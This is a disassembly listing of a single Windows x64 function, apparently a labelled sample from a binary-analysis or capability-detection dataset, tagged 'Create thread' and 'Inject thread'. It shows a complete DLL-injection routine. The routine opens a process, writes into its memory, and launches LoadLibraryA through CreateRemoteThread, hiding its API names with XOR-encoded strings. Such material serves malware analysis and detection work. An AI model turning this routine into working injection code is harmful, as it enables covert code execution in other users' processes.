Function at 0x7ff741c05e30
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push r12
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.kernel32.dll_OpenProcess]
mov qword [rbp + 0x20], rax
mov r12, rax
test rax, rax
jne 0x7ff741c05e65
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret
mov r8, qword [rbx + 0x10]
xor edx, edx
inc r8
mov qword [rsp + 0xa8], r13
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
mov rcx, r12
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x7ff741c06077
mov r9, qword [rbx + 0x10]
mov qword [rsp + 0x98], rsi
inc r9
cmp qword [rbx + 0x18], 0x10
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], r15
jb 0x7ff741c05ec4
mov rbx, qword [rbx]
mov r8, rbx
mov qword [rsp + 0x20], 0
mov rdx, r13
mov rcx, r12
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov al, 0x47
mov byte [rbp - 0x20], 0xb
movzx r9d, al
mov byte [rbp - 0x30], 0x10
xor r9b, 0xb
xor al, 0xb
mov dl, 0x6a
mov byte [rbp - 0x1b], r9b
movzx edi, dl
mov byte [rbp - 0x1f], al
xor dil, 0xb
xor dl, 0xb
mov bl, 0x79
mov byte [rbp - 0x17], dil
movzx esi, bl
mov byte [rbp - 0x1d], dl
xor bl, 0xb
xor sil, 0xb
mov byte [rbp - 0x18], bl
xor r12d, r12d
mov byte [rbp - 0x16], sil
mov cl, 0x64
xor cl, 0xb
mov byte [rbp - 0x13], r12b
mov byte [rbp - 0x1e], cl
mov r10b, 0x62
xor r10b, 0xb
mov cl, 0x75
mov byte [rbp - 0x1a], r10b
movzx r9d, cl
mov r10b, 0x7c
xor r9b, 0x10
xor cl, 0x10
mov byte [rbp - 0x2b], r9b
mov r8b, 0x6f
mov byte [rbp - 0x2e], cl
xor r8b, 0xb
mov r11b, 0x69
xor r11b, 0xb
mov byte [rbp - 0x1c], r8b
mov byte [rbp - 0x19], r11b
mov r14b, 0x72
xor r14b, 0xb
mov r15b, 0x4a
xor r15b, 0xb
mov byte [rbp - 0x15], r14b
movzx r14d, r10b
mov byte [rbp - 0x14], r15b
movzx r15d, r10b
xor r14b, 0x10
xor r10b, 0x10
mov byte [rbp - 0x25], r14b
mov dil, 0x3e
mov byte [rbp - 0x2a], r10b
xor dil, 0x10
mov al, 0x7b
xor al, 0x10
mov byte [rbp - 0x27], dil
mov dl, 0x62
mov byte [rbp - 0x2f], al
xor dl, 0x10
mov r8b, 0x7e
xor r8b, 0x10
mov byte [rbp - 0x2d], dl
mov r11b, 0x23
mov byte [rbp - 0x2c], r8b
xor r11b, 0x10
mov bl, 0x22
xor bl, 0x10
mov byte [rbp - 0x29], r11b
mov sil, 0x74
mov byte [rbp - 0x28], bl
xor sil, 0x10
xor r15b, 0x10
mov byte [rbp - 0x26], sil
mov byte [rbp - 0x24], r15b
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x23], r12b
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x1f]
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
mov r12, qword [rbp + 0x20]
test rax, rax
je 0x7ff741c06062
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], ecx
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x7ff741c06062
mov edx, 0x7d0
mov rcx, rax
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rcx, rbx
cmp eax, 0x102
jne 0x7ff741c06093
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r13, qword [rsp + 0xa8]
xor al, al
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r13, qword [rsp + 0xa8]
mov al, 1
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret